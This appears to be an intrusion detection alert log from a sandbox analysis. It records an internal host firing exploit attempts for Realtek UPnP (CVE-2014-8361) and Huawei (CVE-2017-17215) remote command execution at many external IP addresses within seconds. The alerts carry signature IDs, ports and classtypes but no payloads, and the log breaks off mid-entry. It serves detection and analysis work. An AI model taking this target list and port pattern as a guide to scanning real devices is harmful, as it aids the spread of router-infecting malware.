ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 178.162.187.51

Timestamp:	07/20/24-23:10:48.347448
SID:	2027339
Source Port:	45352
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 217.179.58.161

Timestamp:	07/20/24-23:10:51.908570
SID:	2831300
Source Port:	51654
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 199.248.104.114

Timestamp:	07/20/24-23:10:43.431118
SID:	2025132
Source Port:	51614
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 117.145.143.198

Timestamp:	07/20/24-23:11:03.382352
SID:	2829579
Source Port:	36134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 208.102.55.155

Timestamp:	07/20/24-23:10:51.984755
SID:	2027339
Source Port:	56148
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.117.110.31

Timestamp:	07/20/24-23:11:03.381593
SID:	2835222
Source Port:	56836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 166.150.32.219

Timestamp:	07/20/24-23:10:43.238361
SID:	2025132
Source Port:	48044
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 140.79.132.232

Timestamp:	07/20/24-23:10:43.571824
SID:	2027339
Source Port:	33912
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.88.25.155

Timestamp:	07/20/24-23:11:06.646713
SID:	2835222
Source Port:	54358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.40.87.15

Timestamp:	07/20/24-23:10:55.995070
SID:	2829579
Source Port:	43348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.171.35.211

Timestamp:	07/20/24-23:10:52.558618
SID:	2835222
Source Port:	41228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.86.2.56

Timestamp:	07/20/24-23:10:42.266163
SID:	2829579
Source Port:	41162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.203.255.95

Timestamp:	07/20/24-23:10:46.836862
SID:	2829579
Source Port:	47994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.248.202.177

Timestamp:	07/20/24-23:10:49.420934
SID:	2829579
Source Port:	59256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.211.69.116

Timestamp:	07/20/24-23:10:49.428717
SID:	2835222
Source Port:	47072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.132.48.110

Timestamp:	07/20/24-23:11:06.657863
SID:	2835222
Source Port:	47856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.88.203.184

Timestamp:	07/20/24-23:11:06.689532
SID:	2829579
Source Port:	52532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 92.38.222.42

Timestamp:	07/20/24-23:10:51.944865
SID:	2831300
Source Port:	56360
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 93.91.138.170

Timestamp:	07/20/24-23:10:51.991411
SID:	2027339
Source Port:	45368
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.12.117.52

Timestamp:	07/20/24-23:11:06.706527
SID:	2829579
Source Port:	54592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 159.110.107.208

Timestamp:	07/20/24-23:10:56.030930
SID:	2835222
Source Port:	38862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 144.224.217.126

Timestamp:	07/20/24-23:10:43.379931
SID:	2027339
Source Port:	37236
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 92.18.13.170

Timestamp:	07/20/24-23:10:44.594852
SID:	2025132
Source Port:	47396
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.55.149.13

Timestamp:	07/20/24-23:10:41.233111
SID:	2829579
Source Port:	45120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 184.222.232.77

Timestamp:	07/20/24-23:10:51.899861
SID:	2831300
Source Port:	44112
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 129.202.137.125

Timestamp:	07/20/24-23:10:47.433416
SID:	2027339
Source Port:	34784
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.158.40.220

Timestamp:	07/20/24-23:10:40.649994
SID:	2829579
Source Port:	48172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 65.120.250.13

Timestamp:	07/20/24-23:10:40.601389
SID:	2835222
Source Port:	43004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 134.192.167.73

Timestamp:	07/20/24-23:10:42.629188
SID:	2027339
Source Port:	56574
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.112.198.128

Timestamp:	07/20/24-23:10:46.739331
SID:	2835222
Source Port:	49120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 87.46.238.224

Timestamp:	07/20/24-23:10:44.769466
SID:	2025132
Source Port:	33484
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 126.29.154.162

Timestamp:	07/20/24-23:10:43.618992
SID:	2027339
Source Port:	36956
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 86.108.11.155

Timestamp:	07/20/24-23:10:45.176876
SID:	2027339
Source Port:	60190
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 178.162.187.51

Timestamp:	07/20/24-23:10:52.029204
SID:	2831300
Source Port:	47918
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 154.24.39.249

Timestamp:	07/20/24-23:10:51.940743
SID:	2831300
Source Port:	49504
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 109.80.96.21

Timestamp:	07/20/24-23:10:46.779706
SID:	2829579
Source Port:	47326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.193.183.229

Timestamp:	07/20/24-23:11:06.689532
SID:	2835222
Source Port:	59400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 120.182.174.145

Timestamp:	07/20/24-23:10:44.097327
SID:	2027339
Source Port:	44816
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.206.129.136

Timestamp:	07/20/24-23:10:49.355429
SID:	2829579
Source Port:	34500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 184.128.6.167

Timestamp:	07/20/24-23:10:47.719201
SID:	2025132
Source Port:	58156
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.29.143.201

Timestamp:	07/20/24-23:10:41.220637
SID:	2829579
Source Port:	34358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.162.237.45

Timestamp:	07/20/24-23:10:42.267551
SID:	2835222
Source Port:	39138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 196.217.9.9

Timestamp:	07/20/24-23:10:44.037393
SID:	2027339
Source Port:	37734
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.160.130.37

Timestamp:	07/20/24-23:10:49.457364
SID:	2829579
Source Port:	38524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.54.166.57

Timestamp:	07/20/24-23:10:46.724339
SID:	2835222
Source Port:	38594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 53.185.162.222

Timestamp:	07/20/24-23:10:46.750827
SID:	2829579
Source Port:	57454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.130.45.123

Timestamp:	07/20/24-23:10:40.616009
SID:	2835222
Source Port:	41360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 14.66.203.138

Timestamp:	07/20/24-23:10:40.652868
SID:	2835222
Source Port:	55578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 83.200.83.92

Timestamp:	07/20/24-23:10:41.234520
SID:	2835222
Source Port:	51034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 163.110.119.229

Timestamp:	07/20/24-23:10:39.478846
SID:	2829579
Source Port:	43258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.37.146.4

Timestamp:	07/20/24-23:11:03.390577
SID:	2829579
Source Port:	47392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 139.102.147.38

Timestamp:	07/20/24-23:11:06.712307
SID:	2829579
Source Port:	42490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 84.144.64.84

Timestamp:	07/20/24-23:10:59.029814
SID:	2829579
Source Port:	55600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.80.162.159

Timestamp:	07/20/24-23:11:06.657863
SID:	2829579
Source Port:	49194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 222.44.99.94

Timestamp:	07/20/24-23:10:51.966763
SID:	2027339
Source Port:	32936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.48.64.8

Timestamp:	07/20/24-23:10:39.431804
SID:	2835222
Source Port:	39720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 63.125.89.15

Timestamp:	07/20/24-23:10:42.267551
SID:	2829579
Source Port:	41312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.152.10.195

Timestamp:	07/20/24-23:10:40.662520
SID:	2829579
Source Port:	57238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.142.98.9

Timestamp:	07/20/24-23:10:41.221769
SID:	2835222
Source Port:	42326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 169.249.196.201

Timestamp:	07/20/24-23:10:42.625706
SID:	2831300
Source Port:	48368
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.19.219.100

Timestamp:	07/20/24-23:10:49.420934
SID:	2835222
Source Port:	43624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.186.57.123

Timestamp:	07/20/24-23:10:49.404246
SID:	2835222
Source Port:	37082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 201.38.82.44

Timestamp:	07/20/24-23:10:47.950669
SID:	2025132
Source Port:	39012
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.21.81.252

Timestamp:	07/20/24-23:11:06.675236
SID:	2829579
Source Port:	47480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.217.24.18

Timestamp:	07/20/24-23:10:39.488246
SID:	2835222
Source Port:	41310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 189.209.128.109

Timestamp:	07/20/24-23:10:42.630640
SID:	2027339
Source Port:	41794
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 200.10.220.119

Timestamp:	07/20/24-23:10:51.970945
SID:	2831300
Source Port:	45026
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 71.216.86.69

Timestamp:	07/20/24-23:10:48.709947
SID:	2025132
Source Port:	40876
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 159.7.254.101

Timestamp:	07/20/24-23:10:52.006529
SID:	2831300
Source Port:	34392
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 85.110.124.59

Timestamp:	07/20/24-23:10:51.967169
SID:	2831300
Source Port:	53856
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 196.54.140.130

Timestamp:	07/20/24-23:10:51.908570
SID:	2831300
Source Port:	49966
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.254.121.226

Timestamp:	07/20/24-23:10:46.865461
SID:	2829579
Source Port:	38794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 195.26.232.238

Timestamp:	07/20/24-23:10:56.002002
SID:	2835222
Source Port:	48826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 197.33.21.86

Timestamp:	07/20/24-23:10:51.933445
SID:	2027339
Source Port:	42372
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 155.143.68.189

Timestamp:	07/20/24-23:10:49.450306
SID:	2835222
Source Port:	38718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.239.43.174

Timestamp:	07/20/24-23:10:42.262762
SID:	2835222
Source Port:	59222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.111.167.228

Timestamp:	07/20/24-23:10:42.262762
SID:	2835222
Source Port:	47842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.223.194.254

Timestamp:	07/20/24-23:10:46.810541
SID:	2835222
Source Port:	52714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 68.156.222.49

Timestamp:	07/20/24-23:10:49.421978
SID:	2835222
Source Port:	43032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 4.210.183.193

Timestamp:	07/20/24-23:10:43.528132
SID:	2025132
Source Port:	35106
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.25.251.89

Timestamp:	07/20/24-23:11:06.676715
SID:	2829579
Source Port:	51452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.92.145.86

Timestamp:	07/20/24-23:10:41.241817
SID:	2829579
Source Port:	44914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.174.248.251

Timestamp:	07/20/24-23:10:40.652868
SID:	2835222
Source Port:	41764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 197.208.47.186

Timestamp:	07/20/24-23:10:39.171350
SID:	2027339
Source Port:	36118
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.128.113.181

Timestamp:	07/20/24-23:10:52.607833
SID:	2835222
Source Port:	33840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.51.81.76

Timestamp:	07/20/24-23:10:56.021160
SID:	2835222
Source Port:	33178
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 221.4.245.164

Timestamp:	07/20/24-23:10:46.735704
SID:	2829579
Source Port:	36416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 51.252.148.88

Timestamp:	07/20/24-23:10:42.249913
SID:	2835222
Source Port:	54224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.30.88.50

Timestamp:	07/20/24-23:11:06.686627
SID:	2835222
Source Port:	51680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.160.8.38

Timestamp:	07/20/24-23:10:49.398416
SID:	2835222
Source Port:	53948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.147.174.34

Timestamp:	07/20/24-23:11:06.676715
SID:	2829579
Source Port:	57408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 208.220.26.36

Timestamp:	07/20/24-23:10:41.220792
SID:	2829579
Source Port:	34304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.74.238.245

Timestamp:	07/20/24-23:10:40.649804
SID:	2829579
Source Port:	37552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.176.42.114

Timestamp:	07/20/24-23:10:42.250388
SID:	2835222
Source Port:	53246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.179.22.106

Timestamp:	07/20/24-23:10:46.778936
SID:	2829579
Source Port:	40236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.143.106.52

Timestamp:	07/20/24-23:10:46.735703
SID:	2829579
Source Port:	57768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.186.251.111

Timestamp:	07/20/24-23:10:56.024382
SID:	2835222
Source Port:	38856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.128.41.176

Timestamp:	07/20/24-23:10:59.027427
SID:	2829579
Source Port:	49736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.164.61.105

Timestamp:	07/20/24-23:11:06.689940
SID:	2835222
Source Port:	54716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 18.208.103.195

Timestamp:	07/20/24-23:10:44.084674
SID:	2025132
Source Port:	38512
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.221.156.231

Timestamp:	07/20/24-23:10:41.231186
SID:	2829579
Source Port:	38232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 65.58.210.176

